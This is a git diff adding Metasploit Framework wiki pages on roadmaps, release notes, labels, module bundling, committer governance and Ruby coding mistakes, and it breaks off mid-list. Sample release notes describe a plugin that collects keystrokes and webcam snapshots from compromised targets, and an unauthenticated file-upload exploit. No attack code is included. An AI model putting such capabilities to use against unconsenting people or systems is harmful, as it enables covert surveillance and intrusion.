diff --git a/metasploit-framework.wiki/2017-Roadmap-Review.md b/metasploit-framework.wiki/2017-Roadmap-Review.md new file mode 100644 index 000000000000..fe3442b64388 --- /dev/null +++ b/metasploit-framework.wiki/2017-Roadmap-Review.md @@ -0,0 +1,27 @@ +# Metasploit's 2017 Roadmap Review + +In 2017, we published our first open roadmap for Metasploit development. How did we do? For achievements: + + * The Metasploit data model backend: we did a lot of design work on this, and got a couple of initial Proof-of-Concept project built. You can see a video of it here: . In the mean time, we started merging parts of the main development branch + + * The first pass of external session handling landed with the metasploit-proxy project. + + * Independent modules that run in isolation _did_ land, along with a hand full of new modules demonstrating the advantages of the design, including multi-language support. + + * The ruby_smb project made a lot of progress, with support incorporated into several existing modules. Full client-side support is also available for testing now. + + * Native iOS and macOS support landed, along with many new IoT and router exploits. + + * Meterpreter shrank almost 4x thanks to the new cryptTLV packet obfuscation support, and the removal of OpenSSL. + +Things we didn't quite finish: + + * Metasploit's RESTful interface was not complete in 2017, so we will continue it into 2018. + + * Session handling as a separate process was implemented with the project, but more work needs to be done to improve scalability and usability. + + * Asynchronous session support remains on the drawing board. + + * SOCKS5 support did not land, but Metasploit did gain a lot more support for running modules externally as separate processes, and gained initial support for running modules in Python. + + * Modernized payload generation with new tools continues to be researched. diff --git a/metasploit-framework.wiki/2017-Roadmap.md b/metasploit-framework.wiki/2017-Roadmap.md new file mode 100644 index 000000000000..84c5edf54f6c --- /dev/null +++ b/metasploit-framework.wiki/2017-Roadmap.md @@ -0,0 +1,30 @@ +# Metasploit's 2017 Roadmap + +Starting in 2017, we will provide an open roadmap for setting our goals for the year. The goals are based on many discussions we have had over the past year with users, developers, and customers. The intent is to provide focus for core developers and contributors alike, so that we can together work toward a common vision for how we want Metasploit to evolve. + +This year, the themes for Metasploit are modularity, reusability, and reliability. + +Metasploit has grown organically over the years into a very large project, combining thousands of modules, payloads, a database, session handling, user interaction and more into a single monolithic application. While the design has served us well, it has reached some limits for maintainability and agility. While we continue to refactor, improve, and reorganize Metasploit, large-scale improvements become increasingly difficult and highlight fragility in the overall system, due to its highly interdependent design. + +We want to allow users to effortlessly contribute to the portions of Metasploit they are interested in, and be able to reuse code, both from inside and and outside of the project. Language and licensing constraints have presented barriers to users, both real and imagined. Python, Go, C# and other languages are dominating influences on the infosec community. We would like to be able to welcome more developers, researchers, and tooling into the Metasploit ecosystem, taking advantage of the best-in-breed and avoiding not-invented-here syndrome wherever possible. + +In short, we want to develop reusable, modular, and reliable services to enable researchers, pen-testers, students, and red-teamers to work efficiently, have access to the latest technologies and techniques, and to continue to grow the Metasploit community. + +## The roadmap + + * The Metasploit data model backend should be separated into its own project. Plans include a data service that provides a RESTful interface, both an event-oriented and classic workspace-oriented view of incoming data, improved performance, and easy direct interoperability with other tools. + + * Session handling should be able to operate independently of framework, allowing users to share sessions and allowing servers to be as performant, reliable, and light-weight as possible. We have already begun a project called 'metasploit-aggregator' which is a first generation of this design. Once this is complete, direct integration into other frameworks should also be possible. + + * Metasploit should support asynchronous sessions. Many testers today use asynchronous frameworks like Empire to maintain light-weight persistence or a footholds into a network, then have to pivot to Meterpreter for interactive sessions. We would like to be able seamlessly support both modes of operation, including the ability to run post exploitation modules and modules over pivots asynchronously as well. + + * Metasploit should support running exploit and auxiliary modules in an isolated mode. Plans are underway to support supporting an RPC-style module API to Metasploit framework, providing core services like payload and session handling, network routing, reporting and logging. Modules are run as child processes to Metasploit, and are only loaded into memory as-needed. Networking from a module point-of-view will be handled via SOCKS5 proxy support, hooking the child environment, or remote API calls, largely removing the need for specially-crafted socket objects or changes to 3rd-party protocol libraries. Modules, when written for the Metasploit API, could even be tested and used independently from the full Metasploit framework. + +In addition to these primary goals, we'd also like to explore: + + * *SMB 2.0* SMB 1.0 increasingly being disabled in many networks, making Metasploit modules using this protocol ineffective. We would like to implement at least server-side support for SMB 2.0, both for sharing files and for named pipe communications. + * *iOS and macOS support* The mettle and python meterpreter payloads will continue evolving to further support OS X and iOS, along with more post exploitation support. + * *Native Android support in Mettle* We began the work last year with mettle now supporting all of the basic operations for a Meterpreter implementation. We would like to continue adding Android post-exploitation capabilities to mettle as well. + * *Streamlining Windows Meterpreter* mettle soon will replace the original POSIX meterpreter, which will reduce the size of the Windows meterpreter. Switching from OpenSSL to native SChannel support will simplify and shrink Windows meterpreter, allowing to focus on what it supports best. + * *Router and IoT research* We would like to continue research and support for embedded device exploitation and first-class support for resource-constrained environments. + * *Modernizing payload generation* We are investigating being able to integrate with third-party toolchains for building assembly, C, .NET, Java, on the fly, making it easy for a user to acquire the and use the tools, while providing first-class support for many architectures and platforms. \ No newline at end of file diff --git a/metasploit-framework.wiki/API.md b/metasploit-framework.wiki/API.md new file mode 100644 index 000000000000..b0cedfcd2233 --- /dev/null +++ b/metasploit-framework.wiki/API.md @@ -0,0 +1,3 @@ +View the latest API docs at: + +[https://rapid7.github.io/metasploit-framework/api/](https://rapid7.github.io/metasploit-framework/api/) \ No newline at end of file diff --git a/metasploit-framework.wiki/Adding-Release-Notes-to-PRs.md b/metasploit-framework.wiki/Adding-Release-Notes-to-PRs.md new file mode 100644 index 000000000000..139ca3297c60 --- /dev/null +++ b/metasploit-framework.wiki/Adding-Release-Notes-to-PRs.md @@ -0,0 +1,69 @@ +Release notes inform our users about the stuff we're shipping in each release. By looking at our release notes, our users should be able to easily understand what's new, what's fixed, and what's changed in the release. Therefore, **all PRs, except for minor fixes and tweaks, must have release notes.** + +To add a release note to a pull request, you'll need to add it as a comment, like so: + +![Release Notes Example](https://i.imgur.com/dgzQxyD.png) + +You'll need to tag the comment for inclusion in the release notes by using the `# Release Notes` heading. After you apply the release notes heading, you can enter the release notes text you want to use. + +That's it! After you add the release notes text, we'll be able to extract them from the pull requests when we run our release notes script and compile them into a single document. + +## Writing Release Notes + +Okay, so now that you know how to add a release note, you're wondering what you're supposed to write. + +Basically, a release note summarizes the pull request and describes the value of the fix/feature to the user. Each release note has a title, a PR number, and a brief description. + +Here's an example of what a release note looks likes: + +>The Beholder plugin automatically captures keystrokes, screenshots, and webcam snapshots from your active sessions. Run this plugin to collect data from your compromised targets every 30 seconds. + +## Types of Release Notes + +There are three types of release notes: +* [Enhancement](#release-notes-for-enhancements) +* [Fix](#release-notes-for-fixes) +* [Modules](#release-notes-for-modules) + +### Release Notes for Enhancements + +An enhancement indicates that an improvement or new feature has been added to the framework. Enhancements include things like auxiliary modules, post-exploitation modules, and new payloads. + +When you write release notes for an enhancement, you should try to answer the following questions: + +* What is the enhancement? +* Why is it valuable or important to users? +* How can they use it? + +For example, the following is a release note for an enhancement: + +> The new 'resolve' command enables you to perform DNS lookups with Meterpreter, without leaving the session to run additional modules. To resolve host names on the target, you can run the 'resolve' command followed by the host name. For example, in the Meterpreter prompt, you can type something like 'resolve rapid7.com' to view the host resolutions for Rapid7. + +### Release Notes for Fixes + +A fix is for an issue that caused a particular feature or functionality to not work the way it's expected to work. Basically, a defect indicates that something was broken, and we've fixed it. + +When you write release notes for a fix, you should try to answer the following questions: + +* What was broken? +* How was it fixed? +* Why is this important to users? + +Here's an example for a fix: + +> The email header contained duplicate date and subject headers, which caused email servers like AWS SES, to reject the emails. This fix removes the duplicate headers so that campaigns can send emails successfully. + +### Release Notes for Modules + +An exploit is a module that takes advantage of a vulnerability and provides some type of access to the target. We call out exploits explicitly because they're the hotness. + +When you write release notes for an exploit, you should try to answer the following questions: + +* What vulnerability is the module exploiting? +* What type of access can you achieve with the module? +* Do you need credentials to exploit the vulnerability? + +And finally, here's an example for exploits: + +> This module allows you to exploit HP Data Protector, a backup and recovery system, to remotely upload files to the file share. Versions 6.10, 6.10, and 6.20 are vulnerable. You don't need to authenticate to exploit this vulnerability. + diff --git a/metasploit-framework.wiki/Assigning-Labels.md b/metasploit-framework.wiki/Assigning-Labels.md new file mode 100644 index 000000000000..4ab6abce89eb --- /dev/null +++ b/metasploit-framework.wiki/Assigning-Labels.md @@ -0,0 +1,52 @@ +Maintainers can assign labels to both issues and pull requests. + +### Docs + +Documentation changes, such as YARD markup, or README.md, or something along those lines. + +### External + +Touches something in /external, or the Gemfile, or something like that. + +### Heartbleed + +Has to do with heartbleed. This will go away soon, but there are three outstanding still... + +### Library + +Touches something in /lib. + +### Meterpreter + +Has to do with Meterpreter, or depends on a Meterpreter change to land to work. + +### Misc + +Plugins and scripts, anything that's not otherwise defined. + +### Module + +Touches something in /modules + +### Specs + +Has specs (an rspec test) + +### Newbie Friendly + +Something that's pretty easy to test or tackle. + +### attic + +When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you. + +### Needs unique branch + +Your submitted a PR from your `master` branch. + +Because of how GitHub tracks changes between branches and what got added in a particular PR, we don't accept contributions from the `master` branch of your fork. All branches are [required to be unique](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#code-contributions). If your PR is closed because of this, create a new branch with that code and we'll be happy to look at it again! +``` +git checkout -b +git push +``` +This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed. \ No newline at end of file diff --git a/metasploit-framework.wiki/Bundled-Modules-Proposal.md b/metasploit-framework.wiki/Bundled-Modules-Proposal.md new file mode 100644 index 000000000000..dd1dafd072a5 --- /dev/null +++ b/metasploit-framework.wiki/Bundled-Modules-Proposal.md @@ -0,0 +1,118 @@ +# Bundled Modules + +Created by Adam Cammack + +As Metasploit modules continue to grow in number and capability the current separation of module information by type grows more cumbersome. Starting next year, we want all the files related to a module (docs, libraries, sources, build info, etc.) to live as closely together and be as hackable as possible. To this end, we have come up with the concept of "module bundles" to help improve module dependency isolation and locality of information. We hope the format will prove flexible enough to accommodate the wide range of modules we have and uniform enough to not cause confusion among community members and contributors. Eventually, we may even be able to package each module separately for distribution. + +Whether or not this bundled format will support the old style of module is uncertain. It could be made to work, I think, but it would require a fair bit of effort and ingenuity to work cleanly. For simplicity, I will describe the bundle concept as it applies to external/coldstone modules and then describe potential adaptations at the end. + +## Directory structure + +Example complicated Ruby module: + +``` +$ tree --dirsfirst --charset=ascii -F bundled_module/ +bundled_module/ +|-- data/ +| `-- stack_smash +|-- docs/ +| |-- bundled_module.md +| |-- poc.py +| `-- success.pcap +|-- lib/ +| |-- foo/ +| | |-- bar.rb +| | `-- baz.rb +| `-- foo.rb +|-- src/ +| `-- stack_smash.s +|-- templates/ +| `-- exploit.ps.erb +|-- Dockerfile +|-- Gemfile +|-- Gemfile.lock +|-- Rakefile +|-- bundled_module.rb* +`-- metadata.json +``` + +## Aside: things I'm not sure of and reference vaguely + + - Would the main executable be named after the module (same as the directory, maybe with extension), or given a + - standard name? + - Would the JSON metadata file be named after the module or given a standard name? + - Would we ever allow multiple closely related modules per directory? (eg. routersploit integration, impacts how we think about the above) + - If so or not, how would we deal with closely related functionality that has different options for different actions? + - Do things like client blobs (HTML, JavaScript, images, etc.) belong in `data/` or should we also have a `static/`? (`static/` seems to get a bit fiddly to me; `data/static/`?) + +## Required files + +To keep overhead to a minimum for hackers who are developing modules, we need to minimize files that the author will need to create, touch, and understand for most tasks (restated: every file an author must touch should be directly related to particular and specialized functionality that they want as part of the preparation or execution of a module). The most minimal module only requires the main executable to be present. When loading modules, framework will see a leaf directory without certain expected files and will generate the default ones automatically. This behaviour can be later augmented with guessing of which defaults based on what _is_ present in the directory. + + - If Rakefile is absent, framework will generate one that references the shared rake tasks. + - If Gemfile is absent and the executable ends in .rb, framework will generate one that depends on the bridge libraries from source. + - If metadata.json is absent, framework will generate it using rake. + +All this generation logic should be available as part of a standalone scaffolding tool. + +## Keeping it all close + +One of the drawbacks of the current module system is that all the files related to the development, documentation, and execution of a module live in different places. Some information, like dependencies, is only tracked implicitly or lossily in code or in the top-level specifications of framework. This makes programmatically determining what a module is, targets, or requires fraught with fragile code. + +### Metadata + +The metadata will be kept in JSON in a file (or several, see my uncertainties above) that is built by rake. Keeping the metadata cached per-module gives us several capabilities. First, updates look more logical in commits, and the files can be updated as part of the standard PR/landing process. Next, dependency tracking of when the metadata needs to be updated can be offloaded to standard build tool capabilities. + +Because invoking rake has overhead, any metadata that exists should be considered correct during initial module discovery. Any modules without metadata should then have it generated via rake. Next, every module should have its metadata building task run to (and stale metadata replaced) ensure correctness. If a module is use'd before this process completes, it must have it metadata refreshed via rake if needed as part of the loading process. Since modules are independent, the whole discovery/refreshing process is parallelizable, reducing wall time. + +In addition to the information we currently cache, we will want to cache any information a user might see or want to know so that, if the cached metadata is more recent than any module files, nothing has to be built or run to use the module. Notably, this includes options and module archetype (which in the future directly map options for user convince, vs the shim approach take today). + +### Build info + +All additional build info should be specified as tasks in the module Rakefile. As much a possible, this should also include building with IDE environments, like Visual Studio. Even if the binaries are checked in to reduce runtime requirements (see below), it is still invaluable to know how something was built in the first place. + +### Blobs and sources + +Sources are handy, it should be easy to find them! Now they will live in the module in the `src/` directory. Here the Rakefile can easily find them and transform them into the beautiful exploitation resources they were meant to be. + +As much as possible, only sources should be checked into the tree. For super-specific platform targeting things though, that's not always feasible (eg. VisualStudio projects). It's times like these that the `data/` directory should be used. As mentioned above, the Rakefile should still be able to build the thing given the correct environment. + +Blobs or assets without a checked-in source also belong in `data/`, like images or downloaded things. Things for client exploits to download should probably also go in here, like HTML files and static JavaScripts. + +### Templates + +Modules that use a large literal interspersed with runtime data should use the `templates/` directory to store templates. ERB should be used for printable data by Ruby, and equivalents for other languages (DTL, mustache, etc.). Binary data should maybe be blobs with accompanying offset listings? + +### Docs + +The `docs/` directory will contain the files that a user will reference when trying to understand module. This may include PoCs, markdown, pcaps, etc. The HTML we currently show to users would be generated from the module and files here using rake tasks. + +### Additional tooling + +One advantage that this directory structure gives us is the ability to write better tooling for it than we have for the current iteration of modules. One downside is that we will need it to in order to make the format accessible to hackers. + +### Shared build tasks + +Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum: + +``` +rake run -- Start module, hook up stdin/stdout to JSON-RPC +rake metadata -- Generate metadata JSON +rake tidy:code -- Run tidiness checks against the code +rake tidy:metadata -- Run tidiness checks against the metadata +rake doc:text -- Combine all docs into a plain-text, human readable thing +rake doc:html -- Similar to today's info -d +rake deps -- Install dependencies local to the current user, if possible +rake deps:check -- Check to see if a module can likely be run in the current environment +rake build -- Build files that need it, defaults: src/FILE.s => data/FILE (extracted from exe format), ...? +rake clean -- Remove generated files +rake clobber -- Reset to pristine, checked-out state +``` + +### Module generation + +At the very least, we will also need tooling to create a mostly-empty but runnable module so that an author knows what to poke when writing. This skeleton can be augmented by questions that can help us use different archetypes, like payload vs. remote, or Ruby vs. Python. These commands could also point the author to relevant module writing articles/documentation. + +### For classic modules + +The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy. \ No newline at end of file diff --git a/metasploit-framework.wiki/Code-Of-Conduct.md b/metasploit-framework.wiki/Code-Of-Conduct.md new file mode 100644 index 000000000000..0ef288b44af5 --- /dev/null +++ b/metasploit-framework.wiki/Code-Of-Conduct.md @@ -0,0 +1,52 @@ +# Contributor Code of Conduct + +As contributors and maintainers of this project, and in the interest of +fostering an open and welcoming community, we pledge to respect all people who +contribute through reporting issues, posting feature requests, updating +documentation, submitting pull requests or patches, and other activities. + +We are committed to making participation in this project a harassment-free +experience for everyone, regardless of level of experience, gender, gender +identity and expression, sexual orientation, disability, personal appearance, +body size, race, ethnicity, age, religion, or nationality. + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery +* Personal attacks +* Trolling or insulting/derogatory comments +* Public or private harassment +* Publishing other's private information, such as physical or electronic + addresses, without explicit permission +* Other unethical or unprofessional conduct + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +By adopting this Code of Conduct, project maintainers commit themselves to +fairly and consistently applying these principles to every aspect of managing +this project. Project maintainers who do not follow or enforce the Code of +Conduct may be permanently removed from the project team. + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project maintainers at msfdev@metasploit.com. If +the incident involves a committer, you may report directly to +caitlin_condon@rapid7.com or todb@metasploit.com. + +All complaints will be reviewed and investigated and will result in a +response that is deemed necessary and appropriate to the circumstances. +Maintainers are obligated to maintain confidentiality with regard to the +reporter of an incident. + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 1.3.0, available at +[http://contributor-covenant.org/version/1/3/0/][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/3/0/ \ No newline at end of file diff --git a/metasploit-framework.wiki/Committer-Keys.md b/metasploit-framework.wiki/Committer-Keys.md new file mode 100644 index 000000000000..4198138bebe4 --- /dev/null +++ b/metasploit-framework.wiki/Committer-Keys.md @@ -0,0 +1,121 @@ +This page lists the keys in use by [Metasploit committers][msf-committers] and +can be used to verify merge commits made to . + +# Keybase.io identities + +Keybase.io is used by Metasploit as an easy way to verify identities of committers. If you're a committer on metasploit-framework, and you need an invite, just ask. + +Altering this table's layout will almost certainly break [import-dev-keys.sh](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/import-dev-keys.sh), so please don't. + +| Github Username | Keybase.io Username | +| ------------------------------------------------- | -------------------------------------------------- | +| [@acammack-r7](https://github.com/acammack-r7) | [acammackr7](https://keybase.io/acammackr7) | +| [@bcoles](https://github.com/bcoles) | [bcoles](https://keybase.io/bcoles) | +| [@busterb](https://github.com/busterb) | [busterb](https://keybase.io/busterb) | +| [@bwatters-r7](https://github.com/bwatters-r7) | [bwatters](https://keybase.io/bwatters) | +| [@ccondon-r7](https://github.com/ccondon-r7) | [catc0n](https://keybase.io/catc0n) | +| [@cdelafuente-r7](https://github.com/cdelafuente-r7)|[cdelafuente](https://keybase.io/cdelafuente) | +| [@chiggins](https://github.com/chiggins) | [chiggins](https://keybase.io/chiggins) | +| [@egypt](https://github.com/egypt) | [egypt](https://keybase.io/egypt) | +| [@FireFart](https://github.com/FireFart) | [firefart](https://keybase.io/firefart) | +| [@Green-m](https://github.com/Green-m) | [green-m](https://keybase.io/green_m) | +| [@gwillcox-r7](https://github.com/gwillcox-r7) | [grantwillcox](https://keybase.io/grantwillcox) | +| [@h00die](https://github.com/h00die) | [h00die](https://keybase.io/h00die) | +| [@jbarnett-r7](https://github.com/jbarnett-r7) | [jmbarnett](https://keybase.io/jmbarnett) | +| [@jmartin-r7](https://github.com/jmartin-r7) | [jmartinr7](https://keybase.io/jmartinr7) | +| [@lsato-r7](https://github.com/lsato-r7) | [louissato](https://keybase.io/lsato) | +| [@Meatballs1](https://github.com/Meatballs1) | [meatballs](https://keybase.io/meatballs) | +| [@mkienow-r7](https://github.com/mkienow-r7) | [inokii](https://keybase.io/inokii) | +| [@mubix](https://github.com/mubix) | [mubix](https://keybase.io/mubix) | +| [@OJ](https://github.com/OJ) | [oj](https://keybase.io/oj) | +| [@scriptjunkie](https://github.com/scriptjunkie) | [scriptjunkie](https://keybase.io/scriptjunkie) | +| [@sgonzalez-r7](https://github.com/sgonzalez-r7) | [essgee](https://keybase.io/essgee) | +| [@smashery](https://github.com/smashery) | [smashery](https://keybase.io/smashery) | +| [@space-r7](https://github.com/space-r7) | [shelbyp](https://keybase.io/shelbyp) | +| [@tdoan-r7](https://github.com/tdoan-r7) | [doanosaur](https://keybase.io/doanosaur) | +| [@timwr](https://github.com/timwr) | [timwr](https://keybase.io/timwr) | +| [@todb-r7](https://github.com/todb-r7) | [todb](https://keybase.io/todb) | +| [@void-in](https://github.com/void-in) | [void_in](https://keybase.io/void_in) | +| [@wchen-r7](https://github.com/wchen-r7) | [wchenr7](https://keybase.io/wchenr7) | +| [@zeroSteiner](https://github.com/zeroSteiner) | [zerosteiner](https://keybase.io/zerosteiner) | + +Note, keybase.io does **not require** your private key to prove your GitHub +identity. Actually sharing your private key with Keybase.io is a matter of +contention -- here's the usual argument [against][con-sharing], and here's one +thoughtful argument [for][pro-sharing]. + +# Tracking criteria + +In order to get [@bcook-r7](https://github.com/bcook-r7) to track your key, you +alert him to its existence through some non-GitHub means, and verify your +GitHub username. That's all there is to it. + +It would be sociable to track him (and everyone else on this list) back. +Tracking is essentially "trusting" and "verifying" -- see the much longer +discussion [here][tracking]. + +# Signing your commits and merges + +Contributors are encouraged to sign commits, while Metasploit committers are required to sign their merge commits. Note that the name and e-mail address must match the information on the signing key exactly. To begin: + +1. Generate a signing key, if you don't have one already, using your favorite PGP/GPG interface: + +``` +$ gpg --gen-key +gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc. +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. + +Please select what kind of key you want: + (1) RSA and RSA (default) + (2) DSA and Elgamal + (3) DSA (sign only) + (4) RSA (sign only) +Your selection? 4 +RSA keys may be between 1024 and 4096 bits long. +What keysize do you want? (2048) +Requested keysize is 2048 bits +Please specify how long the key should be valid. + 0 = key does not expire + = key expires in n days + w = key expires in n weeks + m = key expires in n months + y = key expires in n years +Key is valid for? (0) 1y +Key expires at Fri 20 Dec 2019 01:38:11 PM CST +Is this correct? (y/N) y + +You need a user ID to identify your key; the software constructs the user ID +from the Real Name, Comment and Email Address in this form: + "Heinrich Heine (Der Dichter) " + +Real name: Dade Murphy +Email address: dmurphy@thegibson.example +Comment: +You selected this USER-ID: + "Dade Murphy " + +Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o +You need a Passphrase to protect your secret key. + +Enter passphrase: [...] +``` + +2. Modify your `.git/config` file to enable signing commits and merges by default: + +```` +[user] + name = Your Name + email = your_email@example.com + signingkey = DEADBEEF # Must match name and email exactly! +[alias] + c = commit -S --edit + m = merge -S --no-ff --edit +```` + +Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`. + +[msf-committers]:https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights +[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/ +[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5 +[tracking]:https://github.com/keybase/keybase-issues/issues/100 diff --git a/metasploit-framework.wiki/Committer-Rights.md b/metasploit-framework.wiki/Committer-Rights.md new file mode 100644 index 000000000000..4c6cf6d40236 --- /dev/null +++ b/metasploit-framework.wiki/Committer-Rights.md @@ -0,0 +1,54 @@ +# Metasploit Committers + +The term "Metasploit Committers" describes people who have direct write access to the [Rapid7 Metasploit-Framework fork](https://github.com/rapid7/metasploit-framework). These are the people who can land changes to this main fork of the Framework. However, it is not necessary to have committer rights in order to contribute to Metasploit. Much of our code comes from non-committers. + +We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) setup guide. + +Metasploit committers are a mix of [Rapid7](http://rapid7.com) employees and outside contributors. Anyone can become a contributor, with the following expectations: + +1. Committers are empowered to participate in code review, help newbies, and be positive role models in the larger development community. +2. Committers are likely to take up chores such as writing documentation, evangelization, writing test cases, and code review. +3. Committers help maintain the character of the Metasploit Framework as a truly independent open source project. + +The Metasploit community is built on the core belief that open contributions and open discussion of security issues has strong benefits for the Internet in general and human society as a whole. By helping each other demonstrate security vulnerabilities and exposures, we foster a community of excellent, ethical practitioners of information security. + +# How to be a Committer + +Committers tend to review pull requests that come in from other committers and from the wider Metasploit community. Committers generally should not land their own code without some sort of review from another contributor or committer. + +For most changes, please open a pull request. In addition, always ask for someone to review your work. Even simple fixes might be better done otherwise. If you get no feedback on your pull requests, ask again. Be annoying if necessary! Don't submit a pull request or make a comment and let it rot because nobody responds. + +Pull requests should be merged with a `git merge -S --no-ff` in order to ensure a merge commit is always generated, and your merge commit is signed with your PGP key. Avoid clicking the green "merge" button in Github in order to avoid race conditions with landing code that may sneak past review, and of course, so you can sign your commits. + +If you reject a pull request, be clear in the pull request why it was rejected, with some effort made to point at helpful resources for next time. Most people don't often commit to open source code, so when someone does, please be respectful of their efforts. + +Even if someone else approves of a pull request, and it is shown to be broken later, then it is still your responsibility to correct it. Make every effort to get a fix or revert in as soon as possible, whether you wrote the code, landed it, or approved it. Blame is shared equally. + +A list of committer public keys [is here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys). + +# How to Gain Commit Rights + +Commit rights are granted via votes on the committers mailing list. Voting records are archived for the benefit for current and future committers. + +1. Any current committer may nominate any one person as a potential committer by writing to the committers mailing list. +2. The nominator must provide a justification for committer rights, and include the nominee's e-mail address. +2. After some discussion on the mailing list, there will be a group vote on the nominee. +2. The Metasploit manager (@busterb) will inform the new committer of their new commit rights and responsibilities, add the new committer to the appropriate ACL groups and mailing lists, and inform the mailing list of the successful completion of these tasks. + +Committers introduced in this way will have commit rights to the [public framework repositories](https://github.com/orgs/rapid7/teams/framework-public-committers/repositories). + +# How to Lose Commit Rights + +Committer rights are not granted strictly on the basis of proven code quality; committer rights are a statement of trust by the existing body of committers, so there are highly subjective criteria in play as well. Elements like an agreeable personality, the ability to remain calm in the face of trolling, the avoidance of criminal proceedings, and other aspects of a committer's life all play a part in the initial granting of commit access. + +Breaches of trust in terms of malicious or malformed code, or the demonstration of poor judgement that would reflect poorly on the Metasploit project will lead to a discussion on the committer mailing list, and which is likely result in the removal of committer rights. + +# Useful Links for Committers + + * [http://r-7.co/MSF-DEV](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) is pretty much required reading. + * So is [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) + * Check out the Apache Software Foundation's [Guide for Committers](https://www.apache.org/dev/committers). It's illuminating. + * [Producing Open Source Software](http://www.producingoss.com/gl/) by Ken Fogel is a must-read. + * Zach Holman's [Open Source Misfeasance](https://speakerdeck.com/holman/open-source-misfeasance) slides -- the video is gone! + * [How to Survive Poisonous People](https://www.youtube.com/watch?v=Q52kFL8zVoM) by Ben Collins-Sussman and Brian Fitzpatrick + * [The Netiquette RFC](http://www.faqs.org/rfcs/rfc1855.html) is about how to be polite. diff --git a/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md b/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md new file mode 100644 index 000000000000..8c9a3c926d36 --- /dev/null +++ b/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md @@ -0,0 +1,202 @@ +# Deprecation notice! + +Please see [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) for an authoritative coding guide. This document has fallen out of date. We don't write bad code any more! Hooray! + +This is a collection of all the bad code we often see in Metasploit modules. You should avoid them, too. + +Note: Some of these examples use puts() for demo purposes, but you should always use print_status / print_error when writing a module. + +### Bad Examples You Should NOT Follow: + +1. Not checking the return value of a Metasploit API +2. Ruby 1.9.3 vs 1.8.7... gotcha! +3. Not checking the return value when using match() +4. Not checking nil before accessing a method +5. Using exception handling to shut an error up +6. Not taking advantage of the 'ensure' block +7. Adding the 'VERBOSE' option +8. Neglecting to use 'vars_post' for send_request_cgi() when crafting a POST request +9. Bad variable naming style +10. Using global variables +11. Modifying the datastore during execution + +**1. Not checking the return value of a Metasploit API** + +```ruby +res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/app/index.php' +}) + +# There's a bug here, because res can return nil (due to a timeout or other reasons) +# If that happens, you will hit a "undefined method `code' for nil:NilClass" error. +# The correct way should be: if res && res.code == 200 +if res.code == 200 + print_status("Response looks good") +else + print_error("Unexpected response") +end +``` + +**2. Ruby 1.9.3 vs 1.8.7... gotcha!** + +```ruby +some_string = "ABC" + +# This can cause unexpected results to your module. +# Better to always do: char = some_string[1, 1] +char = some_string[1] + +if char == 'B' + puts "You will see this message in Ruby 1.9.3" +elsif char == 66 + puts "You will see this message in Ruby 1.8.7" +end +``` + +```ruby +# 1.9 allows a comma after the last argument when calling +# a method while 1.8 does not. The most common place to +# see this error is in the update_info() section in a +# module's constructor. +some_method( + "arg1", + "arg2", # <-- This comma is a syntax error on 1.8.x +) +``` + +**3. Not checking the return value when using match()** + +```ruby +str = "dragon! drag on! Not lizard, I don't do that tongue thing" + +# This tries to print "Not snake", but it's not in the string, +# so you'll get this error: "undefined method `[]' for nil:NilClass" +puts str.match(/(Not snake)/)[0] +``` + +```ruby +# The above is better written as: +if (str =~ /(Not snake)/) + puts $1 +end +``` + +**4. Not checking nil first before accessing a method** + +```ruby +str = "These things are round and tasty, let's call them... tastycles!" + +food = str.scan(/donut holes/)[0] + +# food is nil, and nil has no method called "empty". +# This will throw an error: "undefined method `empty?' for nil:NilClass" +if food.empty? or food.nil? + puts "I don't know what it's called" +end +``` + +**5. Using exception handling to 